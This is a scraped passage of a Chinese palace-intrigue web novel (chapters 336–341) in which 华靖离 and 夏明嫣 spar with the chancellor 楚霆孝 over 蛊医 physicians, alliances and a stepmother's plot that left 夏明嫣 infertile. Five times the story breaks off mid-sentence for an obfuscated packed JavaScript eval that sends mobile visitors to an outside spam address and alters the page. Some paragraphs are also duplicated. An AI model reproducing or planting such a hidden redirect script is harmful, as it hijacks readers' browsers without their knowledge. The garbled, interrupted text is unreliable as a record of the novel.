不过从另一个角度看,谢维估计也觉得自己委屈,华靖离虽说比谢维年纪大,可也没大到足以做长辈的地步,最多就是个大了十岁的兄长。 这么一个兄长式的人物,明明应该跟他一样喜欢美酒美食、高床软枕、美色佳丽,却偏偏无欲无求,这得是一个多么没有弱点、多么不好控制的人,他凭什么对这样的人放心? 要不为何官做到一定年纪,家庭、子女也会成为朝廷考绩他们是否可信的一个重要方面呢? 往好了说,是有这些的人更健全、有人情味儿,往难听点儿说,就是有弱点才好拿捏。 华靖离最近刚多了几分“人气儿”,可不能把好不容易走出去的这一步再退回去了。 第336章楚霆孝 这么一个兄长式的人物,明明应该跟他一样喜欢美酒美食、高床软枕、美色佳丽,却偏偏无欲无求,这得是一个多么没有弱点、多么不好控制的人,他凭什么对这样的人放心? 要不为何官做到一定年纪,家庭、子女也会成为朝廷考绩他们是否可信的一个重要方面呢? 往好了说,是有这些的人更健全、有人情味儿,往难听点儿说,就是有弱点才好拿捏。 华靖离最近刚多了几分“人气儿”,可不能把好不容易走出去的这一步再退回去了。 华靖离暗暗朝那戏台的方向瞪了一眼,轻咳了两声,对着她道:“好,得有人情味儿,得有烟火气……可是也不对啊,此情此景,我变成一个妒夫,不是更有烟火气么?” 华靖离从前也不是完全没有人情味儿,他背地里为华家军众人包括为李玦做得都不少,只是他不喜欢表露出来,让他做的那些事人尽皆知,天天被他们挂在嘴上。 华靖离和李玦两个人,一个做得再多也不说,一个做了一点点甚至一点没做就爱说得人皆知。其实,他们两个的性子能中和一些就更好了。 二人正打趣着,就感觉到头顶上有一道目光在打量着他们,他们抬头看去,正看到楚霆孝推开楼上雅房的窗子正朝他们看来。 华靖离没什么反应,还用目光和楚霆孝打了个招呼。 夏明嫣就不一样了,上一世她只在筵席上远远地见过这位礼法上的外祖父两次,连话都没说过一句,这还是头一回他们离得这么近,也是头一次楚霆孝终于用正眼儿瞧她了。 楚霆孝老谋深算,在他面前不用装出懵懂无知或是要孝顺他这个礼法上的外祖父的样子,她也不曾受过楚霆孝的恩惠,要是凑上去孝顺他,反而给了他拿捏她的机会。 重生之前的事已经无法挽回,现在开始她要摆明态度,她已经不需要用摇尾乞怜换取他们给她一个容身之所了! 华靖离和夏明嫣到了雅房,与楚霆孝相互见了礼,便再他下首的位置上一同坐下。 两名女子端了茶点上来,便低着头退下了,整个过程没有抬头看他们一眼。 楚霆孝打量着华靖离,又看了夏明嫣一眼,先开口笑道:“老夫与华侯已有四年未见,听闻华侯之前**重伤,情况甚是危急,没想到不到两月工夫,竟然康复至此,至少表面上是看不出来了。” “有件事老夫很是好奇,不知是当时外界对华侯伤情多有夸大之辞,还是华侯觅得神医,才得已康复至斯?” 华靖离以茶代酒,先向楚霆孝致意:“老相爷思虑太多,我等行伍之人一向离不了伤病,家中服侍伤病的也都成了行家里手,我娶得贤妻,觅得能治我伤病的医士,这才好得快了些,实在算不得故意夸大。” 伤得是重,可医者和服侍的人得力,也就好的快些。无论是他自己、华家还是外面的人,都没有刻意夸大什么。 楚霆孝笑得像一头老迈了的虎,慵懒中带着狠厉,他刻意让自己显得慈和些,大笑了两声道: “你们这些年轻人啊,被我们这样的老人问上几句,就要疑心我们别有用心,答上几句话就这般严阵以待。华侯,实在不必如此紧张。” “只是不知这医士究竟来自何方?医术如此高超,此前在元京却从未听过,能否让老夫也长长眼,以后有个病啊痛啊的,也能请了来医治,想来能够延年益寿。” “蛊医,老相爷可敢用?”华靖离直截了当地道。 别说楚霆孝了,就是一旁的夏明嫣都吓了一跳,一双大眼睛扑棱扑楞地看着他,他要说实话,也没直接跟她说一声啊。 华靖离看向她,手掌在桌下轻拍了两下她的手背,示意她放心,话却是对楚霆孝说的, “说起蛊医被逐出元京,源自二十年前的一段旧案。那时我还是个孩子,内子还没有出生。说来还是当年被牵扯进海南沉船一案的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可他说的也可能是假的,要不就是他本身的伤有问题,不能细说,要不就是他请的医者更有问题,也不能拿出来说。 第337章找你亲外孙女婿去 楚霆孝沉吟着,比起华靖离可能要掩饰的,他倒是更在乎刚刚被重提的那件旧事。 那件事自然是与当年四家之事有关的,要不是为了掩盖那些“沉船”中到底有多少财物,那位曹大人根本不用死,那个蛊医只是一个被牵连的牺牲品罢了。 当年圣上也是看出了这当中有蹊跷,赐**那为曹大人看诊的蛊医之后,并没有牵连他人,只让蛊医至此不再出现在元京和良医之道。 华靖离提起这些,只是因为他受了蛊医的恩惠,娶了一个有蛊医外家的妻子,还是说他已经知道当年的秘密了? 楚霆孝笑了一下:“华侯敢用蛊医,还敢承认,胆量果然非常人所能比。你就不怕私下与蛊医往来,会被冠上巫蛊之罪?” “巫蛊与蛊医除了同出西南之地之外,没有什么相似之处,老相爷与端侯府走得这般近,应该跟那些愚昧之人不同才是。” 华靖离故意用玩笑的语气道,“况且我治伤之时,有两位太医在府中随侍,难不成老相爷还以为圣上不知情?我也不瞒老相爷,圣上已经应允为蛊医正名,不日即将降下旨意。” “蛊医不仅会重回元京,还会在南地被大力扶持,造福一方百姓。老相爷若是为我与蛊医走得近而担心,就不必了。倒是老相爷将来身子有恙,我可以寻几个医术好的蛊医给您看诊。” 夏明嫣惊讶地看着华靖离,压低了声音但仍然难以掩盖兴奋和忐忑地道:“你什么时候请的旨,怎么不和我说一声?蛊医可以重回元京了。” 华靖离“嗯”了一声,柔声道:“上回进宫时便说了,昨日得到了答复,太子殿下还要提一幅匾额给杨家,过几日就给你送过来。” “你的事宫里也知道了,圣上还许你在元京行医、开设医馆和药铺,现在的那几间药铺以后就不必再以华家的名义经营了。” 虽说当年未下明旨,可毕竟驱赶了蛊医这么多年,如今肯开这个口,便是认了当年的处置有误了。 能让圣上低头,华靖离付出的绝不仅仅是一个态度或是几句谦卑的话而已,他一定是用了什么更重要的东西做交换。 华靖离是不会拿北疆百姓和华家军的利益做交换的,可是他可以拿他自己的前程和将来做交换。 夏明嫣心里感动得一塌糊涂,险些都忘了楚霆孝还在这儿呢,要不是听到楚霆孝轻咳了一声,她少不得要含着泪跟华靖离说几句。 楚霆孝却先道:“既然华侯已经禀明圣上,那自当无事,是老夫忧思过重了。其实华侯不必对老夫防备至此,毕竟如今你也算是老夫的外孙女婿了。” 他用目光指了夏明嫣一下,话里带着笑意,“华侯夫人怎么说也算是老夫的外孙女婿,华侯称老夫一声外祖父也不为过吧?” 这倚老卖老的劲儿还真是无法抵抗,华靖离不想喊这声外祖父,可礼法上的确如此。 这种礼法上的外家其实除了从小特别亲近的,很少有人会这么喊,见了面多数还是称呼对方为“大人”、“老爷”,只是态度上比对其他长辈尊重、亲昵些。 夏明嫣从前连楚霆孝的面都没见过,可见他们之间是没有半点祖孙情分上的,尤其华靖离今年都二十有五了,比一般人成婚晚,这时候管楚霆孝叫外祖父更是平白把自己叫小了。 今日出来时,谁也没想到会碰上楚霆孝,称呼上该如何回避,他还真没想好。 华靖离露出了些毛头小子般的赧然:“老相爷,如此这般称呼之后,是不是意味着老相爷也会像对待您的亲外孙女婿一样对待我?那我可是要收不少好处了。” “光是书院擢选造势,您那亲外孙女给您的亲外孙女婿做了多少事儿,用了两位楚大人多少人脉,还有袭爵这事儿上,宫里宫外的游说……要认我这个外孙女婿,是不是也该拿出同等的诚意?” 这声“外祖父”可不能白叫,要是在称呼上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15789532|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟李玦一样了,他是不是该收点实惠的好处? 当然,华靖离敢这么说,就是料定了楚霆孝不会给。 一来,楚霆孝不可能像信任李玦那样信任他,自然不会在他身上投入这么多。 二来么,楚霆孝位及人臣,没两年就要致仕了,这时候跟他这么一个武将深交,要是他私下里认了他也就罢了,但凡他有不消停想要闹出来的意思,楚霆孝都不敢真受他这一声“外祖父”。 不过夏明嫣却不这么想,从楚霆孝逼着楚氏送走真女儿、留下假女儿来看,这人能稳坐相位这么多年,靠的不仅是才学、能力和狠辣,这人得是个没脸没皮的人。 这时候楚霆孝很可能真许下些好处,非让华靖离叫这声外孙女婿不可,谁让华靖离刚刚才跟人家的亲外孙女婿割袍断义呢?万一人家就想在这儿把场子找回来呢。 果然,夏明嫣明显地感觉出楚霆孝的口型马上要变成一个“好”字,她立刻开口打断,她宁愿她来做这个恶人: “老相爷此话差矣,妾身从未叫过您一声外祖父,您这外孙女婿又从何而来呢?您真正的外孙女婿现在在端侯府呢,用不了多久就要成为端侯了。” “将来他还想去军中历练,少不得要仰仗您和两位楚大人呢。要是再让三位承担起为妾身夫君筹谋的重担,怕是累着三位了。” 按理说外孙女婿和外祖父这种关系,尤其只是礼法上的,是追究不了华靖离不孝的。 可他身份敏感,万一哪天朝廷里有人找茬,也说不准会变成一桩罪名。 夏明嫣就不一样了,她是女子,又从未得过楚霆孝的恩惠,将来闹起来,说是她先不认这个外祖父的,别人也不好跟她一个小女子为难。 也不怪她这般防着楚霆孝,谁让他们夫妇不是那四家之一的人呢?她只是一个被夏家排除在外的女儿罢了,就算上杆子地去巴结,也拿不到什么好处,反而只会被利用。 第338章论母之过 楚霆孝愣了一下,之前他没关注过这个礼法上的外孙女,只听楚氏说过刻意将她养成了古板、听话的性子,还说夏明嫣为了得到父母的关爱,愿意做任何事。 可如今看来,夏明嫣身上没有一点畏畏缩缩还很听话的样子,反而很有主见,关键是胆子也很大。 尤其是听华靖离方才所说,夏明嫣不仅能开药铺,还能行医,显然是学过医术的,还是蛊医之术。 楚氏可是说过不止一次的,说夏明嫣没学医,最多就是糊弄着她舅父那边,粗略地看过几本医书,就当作识字了。 这就算是没学过了,最多只能说听人说起病症的时候能搭上几句话,可跟眼前的情况相比,楚氏显然太自信了,夏明嫣完全不像她所说的那样。 楚霆孝来了兴趣,一双虎眸微睨打量起夏明嫣来,尽管跟想像中的不同,但到底是个刚从卢阳回来不久的妇道人家,定然禁不起吓唬。 楚霆孝冷笑了一下:“华侯夫人,虽说你是你父亲的原配夫人所出,可老夫的女儿也是你的嫡母,老夫叫你一声外孙女不为过吧?” “虽说这么多年来,老夫没有见过你,也没有直接关照过你,可教导你的女师就出自楚家,她们也都出自名家。若是没有楚家,没有老夫夫人的允许,她们怎么可能在卢阳那种地方一待就是十二年。” “若无名师教导,你如今怎会是这般气度,又如何一回到元京就懂得这里的风仪,一下子就能跟元京的贵女和夫人们相处得如此融洽?老夫做你的外祖父,应该不算委屈了你吧?” 要说这思维女师教没教夏明嫣真东西,自然是有的,她从前读的书、学的规矩大部分都来自这四位女师,只不过她们只教她去学、去记,半点不给她历练的机会。 她们平日里对她动辄得咎,犯一点错,一点背错了,就得受一顿责打,也正是在那时被动了手脚,导致她如今生养艰难。 她们还总是夸赞她,说她学得极好,将来回了元京,到了内宅,只管施展出来,一定能压服那些个想要跟她和夏家做对的人。 前世初入端侯府时,她分不清轻重,着实吃了很多的亏,那时候她开始怀疑自己,怀疑自己从前所学的到底有多少是有用的。那些东西没能帮上她多少,反而让她“冲”出去之后,陷入了更大的危机。 这就好比纸上谈兵,若是没有读过那么多兵书,根本不知兵法为何物,也就根本没有“谈兵”的机会,自然也就不会带领千军万马冲杀在前,从而酿成不可挽回的大错。 知而不尽知,却以为自己已足够强大,反而不如什么都不知道,那样至少不会让自己陷得更深,还害人害己。 要说她们教她最有用的,就是大恒的官话了,卢阳当地的口音重,刚回元京时她要是说一口卢阳话,想必还要遭到更多的嘲讽,也更难融入那些人当中吧。 好在那些经历都已成往事…… 夏明嫣笑了一下,抬眼时却不见任何的卑微和怯弱,她不卑不亢地回道: “老相爷,妾身向来不是一个爱计较的人,若夫人只是寻常的嫡母,纵使妾身的后半辈子都在卢阳度过,也敬她如生母。” “就像妾身的父亲,其实在初回元京之时,妾身都已经不记得父亲是如何模样、性子如何、喜好又是如何了,可如今父亲一样夸妾身是个懂事、识大体的好女儿。” “可是……母慈子孝,总得母先慈,子才能孝,您说,对吧?” 言外之意楚氏对她不好,可是这种事除非出了什么大纰漏,被人拿住了话柄,否则做子女的轻易不敢拿出来说事儿,否则反而会被反过来说成不孝。 楚氏想要拿捏夏明嫣,让夏明嫣听她的话,为夏家和夏明月牺牲自己,这事儿楚霆孝是知道的。 只是这种暗地里拿捏的事儿,根本抓不住把柄,真出了事儿,楚氏大可以说是夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15791862|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明嫣自己想偏了,一切都是她自己的主意。 而且现在不是私下抱怨的时候,她面对的是楚霆孝,当朝左相,也是她并不曾亲近过的礼法上的外公,她若拿不出点实证就指责楚氏为母不慈,着实不够明智。 从陆家那事儿开始,楚霆孝就意识到楚氏不是一个如他一般理智的人,可要说她自小受到的内宅方面的教养是足够的,摆平像夏明嫣这样从卢阳来的年轻女子还不留话柄,自是不在话下。 楚霆孝便以为夏明嫣只是在耍孩子脾气想替华靖离出头,他笑了笑,严重发出预示着危险的光,显然在让她说话小心些: “华侯夫人这是在指责自己的嫡母?天下无不是的父母,就算父母过去有所疏失,做子女的也该谅解一些才是。华侯夫人觉得,此话可对?” “若是寻常的事儿,也不算错。” 夏明嫣笑了一下,神情陡然严肃起来,这才露了真章,“可妾身不说她的不是,若因为她对妾身不好,而害了别人家的孩子,这‘不是’恐怕就不单止在这儿说了。” “妾没把这件事闹出来,已经给足了夫人面子,也是为了夏、楚两家的名声着想,自认已经够识大体了。难不成老相爷还想妾身再孝顺些,四处说她做得好、做得多,大家都赶紧来学学她,再给她请一座牌坊供着。” “不知你母亲是如何害了你的?” 见她如此不客气,还说到了害了别人家的孩子,楚霆孝终于重视起来。 内宅的事楚霆孝向来不管,他身为一个身在朝堂权利旋窝中的男子,内宅之事只用知道结果就是了,他的确不知道楚氏究竟做了什么,还让人家抓住把柄了。 事实上,楚霆孝是一点方向都没有,他一直觉得当年楚氏借着蛊医杨氏之过随时可能被旧事重提,“担心”因为夏明嫣而波及到夏家,趁着夏明嫣还小就将她送走,这件事做得相当聪明,也相当干净、漂亮。 第339章假千金有暗疾 这样对外面和夏家人有了交代,这是不想让夏明嫣和杨家连累了全家人,对内,楚氏不用面对这个原配夫人留下的嫡女,以免相处起来尴尬,再生出些不愉快和事端来,平白两方摩擦,还坏了楚氏的名声。 楚氏嫁给夏庸之前,楚霆孝的夫人其实打听过夏明嫣的情况,都知道这孩子还小,是个没脾气的,按理说就算还放在夏府里养着,也掀不起大浪来。 可是继母难为,就算楚氏是个十足的贤德继母,也难保里外不讨好。换句话说,送走夏明嫣是为了让楚氏过得更舒坦、名声更好,而不是到了不得不送走她的地步。 夏明嫣这一走,彻底断绝了她跟楚氏产生直接摩擦的可能,同时,楚氏还可以通过那四位女师间接影响、控制夏明嫣,让她将来能为己所用。 因为这中间隔着这么远还隔着人,万一楚氏有做得过分的地方,完全可以推到这些中间人身上,把自己摘干净了。 而且这还是到了最坏的地步了才会有的结果,在楚霆孝看来,夏明嫣这样的女儿可用可不用,要是容易生出问题来,不用便罢了,根本不需要强求到把自己的把柄递出去的地步。 楚霆孝想不到究竟发生了什么事,就还是觉得夏明嫣在小题大做,女子么,总是把针尖儿大的事儿夸张成天大,就只是为了争得眼前的蝇头小利。 夏明嫣无比冷静地看着楚霆孝的眼睛,那眼神并非刚硬如铁,依旧如水一般温软,只是这潭水足以将任何一个人拉下去: “老相爷若是不信,现在就可以请一位郎中来为我把脉,看看我的身子现在是否能孕育子嗣。不过老相爷得找几位高明的郎中来,最好是宫中擅长妇人产育之道的御医,不然看不出来。” “说起来这还得拜那四位女师所赐,这内宅之中多的是**不见血的刀子,她们恰巧也有那么几把。内宅女子自小学艺,弹琴弹错了,字写不好了,女诫背不下来了,多少受点责罚,挨几戒尺甚至几板子都是正常的。” “可是她们偏偏有一门手艺,四人配合,每次责罚都只伤筋脉、穴位一点点,用了十年时间日积月累,竟然连我都骗过了,的确高明。” “瞒了我这么久,直到我回到元京,在世交长辈的提醒下才发现自己的身子出了问题,可惜为时已晚。也许五年,也许十年,也许更久我都不能有自己的孩子了,您说这笔账我能只算在那四位女师头上么?” 这四人的手段相当高明,夏明嫣上一世直到后来才发现,这一世要不是有了上一世的认知,她暂时也发现不了。 她表面上没有任何的不适,月事也一直都很正常,年纪也还小,若无人提醒或是年纪大了还一直怀不上身孕,是想不到需要细察这方面的病症的。 况且她在卢阳时是偷着学过些医术,可因为能和杨舅父见面的机会并不多,她在深宅大院儿里待着,轻易不出门,只能在偶尔去舅父家时接触到几个病患。她没有经验,医术自然高明不到哪儿去。 那时的她就算是不忌讳“医者不自医”,就是想给自己检查一下身子的状况,也查不出来。 她舅父毕竟是男子,她一个女子,又是高门千金,出门时前后都跟着人,纵使买通了她身边的侍女能让她有接触医术的机会。 那些侍女也没胆子由着一个外男隔三差五地给自家无病无灾的姑娘把脉,何况这个外男还是个蛊医,万一对她们姑娘动了什么手脚可怎么办。 她的医术是前世在南疆才锻炼出来的,这一世回到元京重生之后,她赶忙按照上一世经历过的检查了一下,才确认了情况。 这一世,因为她一回来就见了齐大娘子,之后她和齐家也有些往来,她成婚和办赏花宴的时候,齐家的女儿也都去了,她便推说是齐大娘子发现的。 楚霆孝听了之后也是一愣,夏明嫣敢这么说,便是有证据的,根本不用请御医来看。 他惊讶的是,楚氏为什么 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“或许她就是不想让我先她的女儿一步有了身孕,先一步在夫家站稳了脚,把她的女儿比下去了呢?” 夏明嫣明面上说的只是和离推测,其实这背后的原因她已经摸清楚了。 无论她跟夏明月有没有换亲,都会在差不多的时候成亲。她跟夏明月又只差了不到两岁,按理说有孕的时间有先后,也差不了多久,要比也不用在这种事儿上头。 而且夏明月自小养尊处优,身子一直有名医调理,楚氏要是再为她寻一些助孕的秘方,她想要比自己造有身孕根本不难。 可楚氏为何要在这种事儿上害她,除非楚氏一早就知道夏明月身上有暗疾,是不容易有孕的。正常情况下,她一定会比夏明月先有孕,这才是楚氏害她的原因。 呵,如果是真正的夏家二千金于杏儿,足月而生,天生康健,再加上悉心调理、养尊处优的养大,自然不会有这方面的忧虑,可是夏明月不一样…… 第340章莫要因小失大 夏明月是陆远山和那个妾室的女儿,出生在苦寒的流放之城彭州,早产而生,当初之所以被送回元京投奔楚氏就是因为她身子有问题,险些没救过来。 夏明嫣这些天也观察了,夏明月冲动易怒,不全是性情问题,这跟她身上的暗疾有关系。 虽未直接号过脉,可她已经猜到了,夏明月八成天生在生育上艰难,楚氏不想让她养大的这个陆远山的女儿受委屈,不想让夏明月被她比下去,这才想出了这样的招数。 而且只要她能晚上五年十年的再有子嗣,在夫家立足不稳,就不得不多依靠夏家,那样就得对他们一直卑躬屈膝,再由着他们予取予求。 再有就是李玦袭爵的事儿一直没有着落,端侯府又一直都是半死不活的样子,所以夏家一早想要定下的就是夏明月嫁给华靖离而她嫁给李玦,这样的两门婚事。 之所以在成婚前放任夏明月和李玦有了私情,是为了成全夏明月,安抚陆家,也是为了能稳住何夫人和李玦,稳固楚、夏两家与陆、李两家的联盟。 既然如此,就算夏明月嫁给了华靖离,她的心还在李玦身上,就算她成婚后变了心,又改成心仪华靖离了,她也会不甘心看到夏明嫣跟李玦琴瑟和鸣,或者坐稳端侯府的主母之位的。 因此楚氏便想出了害她难以有孕的法子,既满足了夏明月的私心,让夏明月即便在华家过得不顺意,看到她在端侯府苦苦挣扎,也能平了心底的那口气。 还能稳住陆家和端侯府,再就是还能利用她对娘家的依靠,利用她为夏明月和夏家牟利,哦,还能让她盯住李玦和何夫人,从这两个人的反应里看出他们是不是已经把那些宝物拿出来…… 其实在跟华靖离互表心意以前,夏明嫣根本就不在乎自己能不能生育和什么时候能生,这两世以来,她首先要做的,都是平平安安地活下来。 可是有了华靖离之后就不一样了,尤其自从上回跟华靖离恳谈过一番之后,华靖离明显并没有真正纳妾和跟别的女子生下子嗣的意愿,她愈发觉得不能因为自己耽误了华靖离。 “此事回去之后老夫自会查清楚给华侯夫人和华侯一个交代,即便此事与你母亲无关,若是华侯夫人需要什么药材或要请哪位御医调理身子,老夫也自当出力。” 楚霆孝在于夏明嫣对视的过程中也渐渐猜到了些楚氏的想法,尽管他不认同,尤其用这样的方法等于夺了华靖离的嫡出子女了,这可就是种下深仇大恨了。 在他看来楚氏这么做纯属多此一举,子嗣这种事儿无论多少,能有出息的才算数。 夏明嫣就算生了一堆儿子,当中也未必就有那有大才的,说不定都等于白生了呢,将来他们夫妻也未必就有多在乎。 可这子嗣之路被人为的堵住了,那就真成了结了大仇了,这些话直接就把楚霆孝想要压华靖离一头甚至想逼着他妥协的心思打击得荡然无存。 华靖离之前便猜到了夏明嫣的身子有些问题,可从来没听她如此详细地说起过,当即心里便涌起阵阵心疼和愤怒之感,对着楚霆孝也没有了一开始那种官面上的客气: “老相爷今日相情,也不知所谓何事,要只是想认我这外孙女婿,我看大可不必。楚夫人此等做派,害我夫人,害我华家子嗣,若想让我如没事儿人一般,坐下与夏家论翁婿之谊,当您的外孙女婿,那是不可能的。” “若是老相爷要为您的另一位外孙女婿求和,想让我与他再论兄弟之义,也绝无可能。从前结义之时,尚且年少,觉得意气相投,结义之时也未问过家中父母。” “如今想来那时性情便有不和之处,他和您那外孙女又如此欺辱我那阿弟和华家,这也是断断不能和好的。若是您想要说的是这两桩事,不如趁早免开尊口。” 华靖离尽管战功赫赫,可毕竟比不得当朝宰相位高权重,更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797333|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是比楚霆孝小了一辈,竟然一点面子都没给楚霆孝留。 楚霆孝不禁老目圆瞪,声音里带了些隐怒:“华侯如此不留情面,可不要忘了,世间之事逃不过一个孝字和一个理字。即便老夫的女儿做错了事,老夫人也能保证,此事老夫和老夫那向来温良的女婿并不知情。” “你想因为一介妇人就坏了两家的姻亲之谊么?华侯,别说你的夫人将来未必就没有子嗣,就算你没有嫡子、嫡女,只需把庶子、庶女记于你的夫人名下,一样可以开枝散叶。” “何必为了这一点小节,就失了两家的大义呢?华侯,老夫也要劝你一句,莫要因小失大,否则悔之晚矣。” 子嗣虽说是连接两家姻亲的重要纽带,却并非唯一纽带,就像楚霆孝说的,即便楚氏做下这样的事想赖也赖不掉,那也可以用别的法子补偿。 身为高门的正室夫人,有自己的子嗣当然好,没有也多的是人替她生,选几个聪明伶俐的自小放在自己身边养着,说不定比自己生养的更好、更孝顺。 甚至还有那高门正室,因着自己身子不好,又想寿数长些,从一开始就没打算生养自己的子嗣,早早地安排了自家陪嫁过去的侍女做了通房、妾室,替自己生子呢。 像夏明嫣这样基本算是没有母族可以倚仗的正室夫人,要是用自己从来没有过的亲生子嗣去换楚、夏两家的支持,其实也是一笔划算的买卖。 关键是事已至此,别说事情就算闹出去,楚氏也不会怎样,就算楚氏给那些没出生的孩子填命了,夏明嫣的身子也不会立刻就恢复如初了,倒不如换些支持。 要是寻常女子,在这种时候多半会在一通痛定思痛之后,劝自己的夫君以大局为重,莫要坏了姻亲之谊。 夏明嫣却对着华靖离笑了笑道:“夫君不必怜惜妾身的处境,只管从三家大局去想,看看这姻亲之谊要怎么算,这声外祖父要不要叫。” 第341章南迁之策 华靖离轻轻地拍了拍夏明嫣的手背,示意她放心:“夫人似乎从前都没有见过相爷吧?难怪对这位外祖父不大了解,堂堂楚相,怎会做那等无的放矢、图求虚名的事儿呢?” “要是今日老相爷相邀只为了要我叫他一声‘外祖父’,那你可就小瞧了他了。我猜老相爷定是想邀我共谋大事,只是不知有何大事要谋……” 他做出略微沉思的样子,之后看向楚霆孝,“相爷是文臣之首,我虽未如岳父大人那般坐镇兵部,在武将中也是一方诸侯。” “虽说大恒没有文武不联姻的习俗,可走得太近,终究不好。您看,我与岳父大人尚且不敢太过亲近,又怎敢上杆子的来巴结您呢?” “您若说只是想认我这门亲,我是万万不能相信的。还有您如此愿意为您的另一个外孙女婿游说袭爵,仅仅是因为他娶了您最疼爱的外孙女?我怎么就这么不信呢……” “您想要我做什么,最好直说,还有这背后有什么勾勾绕绕,也最好说清楚。若是不能,或是您觉得我一个小辈不配听这些,那便一切免谈吧。” 不把他当自己人,不把背后的事儿说出来,凭什么让人跟着他们卖命? 就算是邓父那样的原本的自己人,他们也不愿意交底,一味地想要控制对方为己所用,只让对方当一个会听吩咐办事的提线木偶。 邓父熬了那么久,因为事情远没有到要进行的时候,他便一直要做一只看似不起眼的闲棋,日子久了,端侯府一边要在将来的某一天用他,现在的每时每刻却又要拿捏他、搓摩他,他哪里受得住,最后只能另找出路。 这还是从前就是他们的人呢,华靖离从前可跟他们没什么交情,就是华家跟夏家有交情的也只是老爷那代了,而那时候夏庸还不是楚霆孝的女婿呢。 什么都不告诉他们,就想让他们闷着头不问情由、是非地给他们几家卖命,想得美! 但从楚霆孝的角度却不是这么看的,不过是几个小辈,将来又不是不给他们好处,他们没有必要也不配刨根究底,听吩咐办事就完了。 无论是礼法上的外孙女婿还是亲的,现在都是一家人了,那就一起做成这件大事有什么不好的? 楚霆孝淡淡地道:“有些事不知道反而是福气,凡事听安排,把让你做的做好,得到你该得到的,不就成了?相信老夫,知道太多不是好事。” 华靖离看着楚霆孝,在这威势甚重的老者面前丝毫不见憷意:“那可不一定,万一您要做的杀头掉脑袋的事儿呢,我们也不问?” “老相爷不用急着否认,您与夏大人既是翁婿,也是同盟,您和端侯府的关系大体也是如此。而论起靠姻亲缔结联盟,最早的应该还有陆家吧?只不过这段姻缘没成,才有了后来的夏家。” “我不问你们背后究竟牵扯着怎样的关系,可如今您和二位楚大人坐镇朝中,陆家流放彭州,就算想做点什么,短时间内也成不了气候。” “反倒是端侯府早年在南边定是还留了些根基的,南边儿山长水远的,还有几位王爷坐镇,夹缝中求存,总是有些办法的……常王殿下这几年又有些不安分,我要是冒然答应了老相爷,这里面万一有些大逆不道的事儿,把我牵扯进去了,这事儿可就不美了。” 华靖离半真半假地说着,半点没提沉在海底的那些宝物,只说常王不老实,暗示端侯府在南边若留有人马有跟常王勾结的可能。 他手握兵权,华家和华家军本就遭人忌惮,他和太子的关系如今才刚刚缓和了一些,要是再跟他们走得近了,那就不止是前功尽弃的事儿。 到时候太子谢维反而会以为他之前的示好都是装出来麻痹他的,怒气只会更盛,那可是未来的新君,他是吃饱了撑的才会跟楚霆孝沆瀣一气。 而且就算他现在掺合进来了,他是最后加入的,这当中但凡有点风吹草动,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797334|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和华家就会成为第一个被推出去牺牲掉的。 楚霆孝没想到华靖离如此谨慎,虽说没有猜到事情的根结,可也猜到了些苗头了,这人不好骗。 可是谁又能真正绝了贪心?楚霆孝笑了一下,故作轻松地道:“华侯言重了,老夫可没有那样的心思。不过是从前的一些旧事要了,又了断不了罢了,人总不能不念情分吧。” “这有些事儿,日子久了,陷得深了,就不如继续干下去。老夫清楚华侯的担心,可华侯和华家树大根深,岂是一个端侯府能比拟的?” “要是华侯肯做老夫的外孙女婿,老夫保证以后的事儿即便不成,也牵扯不到华侯身上。华侯要是不放心,正好华家在北疆根基已深,别说是太子殿下了,就是圣上心里也并非没有微词。” “老夫可以帮你从中斡旋,让华家军去南疆,圣上为了稳定朝局,看住常王,不会不许。如此也能给华家至少争取十余年的时间。而华家在北疆的根基也不是说没就没了的,如此岂不更好?” 还别说,就是让谢维去想,也会觉得与其南边儿让常王和那些老勋贵占着,不如让华家军过去。 